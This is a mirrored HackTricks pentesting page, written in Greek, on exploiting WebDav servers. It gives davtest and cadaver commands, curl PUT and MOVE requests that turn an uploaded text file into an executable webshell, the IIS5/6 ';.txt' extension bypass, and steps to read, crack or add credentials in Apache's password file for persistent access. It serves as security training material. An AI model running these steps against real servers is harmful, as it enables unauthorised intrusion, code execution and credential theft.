mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
83 lines
5.7 KiB
Markdown
83 lines
5.7 KiB
Markdown
# WebDav
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Όταν ασχολείστε με έναν **HTTP Server με WebDav** ενεργοποιημένο, είναι δυνατόν να **χειριστείτε αρχεία** αν έχετε τα σωστά **διαπιστευτήρια**, που συνήθως επαληθεύονται μέσω **HTTP Basic Authentication**. Η απόκτηση ελέγχου σε έναν τέτοιο server συχνά περιλαμβάνει την **ανάρτηση και εκτέλεση ενός webshell**.
|
||
|
||
Η πρόσβαση στον server WebDav απαιτεί συνήθως **έγκυρα διαπιστευτήρια**, με [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) να είναι μια κοινή μέθοδος για την απόκτησή τους.
|
||
|
||
Για να ξεπεράσετε περιορισμούς στην ανάρτηση αρχείων, ειδικά εκείνους που αποτρέπουν την εκτέλεση server-side scripts, μπορείτε να:
|
||
|
||
- **Ανεβάσετε** αρχεία με **εκτελέσιμες επεκτάσεις** απευθείας αν δεν περιορίζονται.
|
||
- **Μετονομάσετε** τα ανεβασμένα μη εκτελέσιμα αρχεία (όπως .txt) σε εκτελέσιμη επέκταση.
|
||
- **Αντιγράψετε** τα ανεβασμένα μη εκτελέσιμα αρχεία, αλλάζοντας την επέκτασή τους σε μία που είναι εκτελέσιμη.
|
||
|
||
## DavTest
|
||
|
||
**Davtest** προσπαθεί να **ανεβάσει αρκετά αρχεία με διαφορετικές επεκτάσεις** και **ελέγχει** αν η επέκταση είναι **εκτελέσιμη**:
|
||
```bash
|
||
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
|
||
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
|
||
```
|
||
.png>)
|
||
|
||
Αυτό δεν σημαίνει ότι οι **.txt** και **.html επεκτάσεις εκτελούνται**. Αυτό σημαίνει ότι μπορείτε να **έχετε πρόσβαση σε αυτά τα αρχεία** μέσω του διαδικτύου.
|
||
|
||
## Cadaver
|
||
|
||
Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να **συνδεθείτε στον διακομιστή WebDav** και να εκτελέσετε ενέργειες (όπως **ανέβασμα**, **μετακίνηση** ή **διαγραφή**) **χειροκίνητα**.
|
||
```
|
||
cadaver <IP>
|
||
```
|
||
## PUT αίτημα
|
||
```
|
||
curl -T 'shell.txt' 'http://$ip'
|
||
```
|
||
## MOVE request
|
||
```bash
|
||
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
||
```
|
||
## IIS5/6 WebDav Vulnerability
|
||
|
||
Αυτή η ευπάθεια είναι πολύ ενδιαφέρουσα. Το **WebDav** **δεν επιτρέπει** να **ανεβάσετε** ή να **μετονομάσετε** αρχεία με την επέκταση **.asp**. Αλλά μπορείτε να **παρακάμψετε** αυτό **προσθέτοντας** στο τέλος του ονόματος **";.txt"** και το αρχείο θα **εκτελείται** σαν να ήταν αρχείο .asp (μπορείτε επίσης να **χρησιμοποιήσετε ".html" αντί για ".txt"** αλλά **ΜΗΝ ξεχάσετε το ";"**).
|
||
|
||
Έτσι μπορείτε να **ανεβάσετε** το shell σας ως αρχείο ".**txt"** και να **αντιγράψετε/μετακινήσετε το σε ένα αρχείο ".asp;.txt"**. Όταν αποκτήσετε πρόσβαση σε αυτό το αρχείο μέσω του web server, θα **εκτελείται** (ο cadaver θα πει ότι η ενέργεια μεταφοράς δεν λειτούργησε, αλλά λειτούργησε).
|
||
|
||
.png>)
|
||
|
||
## Post credentials
|
||
|
||
Αν το Webdav χρησιμοποιούσε έναν Apache server, θα πρέπει να κοιτάξετε τις ρυθμισμένες τοποθεσίες στον Apache. Συνήθως:\
|
||
_**/etc/apache2/sites-enabled/000-default**_
|
||
|
||
Μέσα σε αυτό μπορείτε να βρείτε κάτι σαν:
|
||
```
|
||
ServerAdmin webmaster@localhost
|
||
Alias /webdav /var/www/webdav
|
||
<Directory /var/www/webdav>
|
||
DAV On
|
||
AuthType Digest
|
||
AuthName "webdav"
|
||
AuthUserFile /etc/apache2/users.password
|
||
Require valid-user
|
||
```
|
||
Όπως μπορείτε να δείτε, υπάρχουν τα αρχεία με τα έγκυρα **credentials** για τον **webdav** διακομιστή:
|
||
```
|
||
/etc/apache2/users.password
|
||
```
|
||
Μέσα σε αυτούς τους τύπους αρχείων θα βρείτε το **username** και ένα **hash** του κωδικού πρόσβασης. Αυτά είναι τα διαπιστευτήρια που χρησιμοποιεί ο διακομιστής webdav για να πιστοποιήσει τους χρήστες.
|
||
|
||
Μπορείτε να προσπαθήσετε να **crack** τα, ή να **add more** αν για κάποιο λόγο θέλετε να **access** τον διακομιστή **webdav**:
|
||
```bash
|
||
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
|
||
```
|
||
Για να ελέγξετε αν τα νέα διαπιστευτήρια λειτουργούν, μπορείτε να κάνετε:
|
||
```bash
|
||
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
||
```
|
||
## Αναφορές
|
||
|
||
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|